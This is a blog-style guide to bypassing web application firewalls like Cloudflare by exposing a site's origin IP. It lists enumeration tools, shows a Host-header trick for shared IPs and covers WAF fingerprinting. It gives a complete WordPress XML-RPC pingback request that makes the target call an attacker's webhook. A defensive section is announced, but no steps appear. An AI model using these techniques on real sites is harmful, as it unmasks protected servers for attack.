Firewalls, or WAFs (Web Application Firewall), are filters and rules of access that serve as a sort of “gateway” to keep your website secure. Basically keeping your website safe from threats and potential vulnerabilities that could be easily exploited if you otherwise didn’t have a WAF.
The most commonly used WAF is Cloudflare, for being easy to setup and maintain. But Cloudflare isn’t all that secure as people may think and your common “top 10 best firewalls to keep your website secure” may suggest.
Since it is one of the easiests WAFs to setup, it is also one of the easiests WAFs to bypass if you don’t know how to setup your website correctly or you just don’t have full access to the things you are managing on your website, which, in most cases, can paint a bright red target on your website’s back.
A subdomain that’s not being tunnelled through the WAF or the origin IP of the website, aka: the IP behind the firewall.
The firewall itself might have its own IP, which is the case for Cloudflare. The firewall’s IP is not directly accessible.
It depends on how much information an attacker has on your website, if they already have found a potential vulnerability and the depth of understanding they may have on your website
This can vary from a simple XSS to a full blown Remote Code Execution vulnerability.
But anyway, you’re probably not here to read my personal comments on firewalls and how they can give you a false sense of security at times.
Usually the only thing stopping an attacker from gaining complete access to your website is the firewall, which if not setup correctly, can be just a glass door waiting for a brick to be thrown through it.
So,
There are multiple ways to do that, and all of them are pretty easy, given the right conditions (which are usually the case).
This is the easiest one since it doesn’t even involve interacting directly with the target, but instead just enumerating all of the target’s subdomains, along with their IP addresses. In most cases, the website will just have an unprotected IP that can be accessed directly with no real issue
| Resources | Status | Price |
|---|---|---|
| subdomainfinder.c99.nl | ✅UP | Free |
| dnsdumpster.com | ✅UP | Free |
| shodan.io | ✅UP | Free / Paid for more advanced scans |
| search.censys.io | ✅UP | Free / Paid for more advanced scans |
| fofa.info | ✅UP | Free / Paid for more advanced scans |
| Anubis (tool) | ✅UP | Free |
In some cases the server will be setup in such a way that even if the unprotected IP is accessed directly, it will still show different results from the target. In such occasions, it might mean that the IP is being shared with other hosts. In case of the IP being shared, the discrepancy in results can be easily circumvented by setting your Host request headers as the website’s URL and not the IP itself.
FOR THE SITUATION DESCRIBED ABOVE, instead of doing:
POST / HTTP 1.1
Host: <Target Unprotected IP>
Do
POST / HTTP 1.1
Host: <Target URL(Without HTTPS)>
That way the IP can still be accessed directly if you search it up in your searchbar, but the server will be receiving requests for the protected URL instead, thus not only rendering the website’s content but also verifying that the IP in fact belongs to that URL.
PS: The IP you search up in the searchbar has to be linked to the URL you set in the “Host” header for the contents to load, since that’s how the server distinguishes what website is being requested from the shared IP
When looking for IPs and unprotected subdomains, it’s also important to look for IPs or domains listed mainly in MX and TXT records.
| Resources | Status | Price |
|---|---|---|
| dnsdumpster.com | ✅UP | Free |
| dig | COMMAND | Free |
This method is also pretty easy. You can just get a list of the IPs that were used by the website along time.
| Resources | Status | Price |
|---|---|---|
| viewdns.info | ✅UP | Free |
This basically involves searching up the domain on the following websites.
| Resources | Status | Price |
|---|---|---|
| shodan.io | ✅UP | Free / Paid for more advanced scans |
| search.censys.io | ✅UP | Free / Paid for more advanced scans |
| fofa.info | ✅UP | Free / Paid for more advanced scans |
If the target uses Wordpress, it is also very likely to have XMLRPC enabled. (In some cases it doesn’t tho, so that’s when the rest of the things earlier apply).
To bypass a WAF protecting a wordpress domain, the following method is followed:
POST /xmlrpc.php HTTP/1.1
Host: TARGET_URL
Content-Type: text/xml; charset=UTF-8
<?xml version="1.0" encoding="iso-8859-1"?>
<methodCall>
<methodName>pingback.ping</methodName>
<params>
<param>
<value>
<string>WEBHOOK_UNIQUE_URL</string>
</value>
</param>
<param>
<value>
<string>VALID_POST_FROM_TARGET</string>
</value>
</param>
</params>
</methodCall>
This is an old one but incredibly still effective!
What the attacker does is basically:
Replace the
TARGET_URLwith the url of the website.
Replace
WEBHOOK_UNIQUE_URLwith a webhook that will be used to catch the pingback response
Replace
VALID_POST_FROM_TARGETwith a post that’s been made on the website
I.E: https://example.com/2025/03/10/is-a-nuclear-powered-marine-sector-a-possibility/
| Resources | Status | Price |
|---|---|---|
| webhook.site | ✅UP | Free |
Fingerprinting a WAF can be done in some ways, but the main ones are by using automation tools or manually.
Doing it manually requires you to analyze the behavior of the website to certain actions you take in it, such as trying to XSS an input field or uploading a malicious file. Also analyzing response headers and cookies for clues.
Cloudflare can be easily spotted because of the custom ‘cf-*’ headers it sets.
Automation tools:
| Resources | Status | Price |
|---|---|---|
| SuIP.biz | ✅UP | Free |
| Wappalyzer | ✅UP (Add-On) | Free |
| Wafw00f | ✅UP | Free |
| Nikto | ✅UP | Free |
To avoid getting your website’s origin IP leaked, here are some steps you could take:
A guide to non-conventional WAF/IDS evasion techniques - By MLT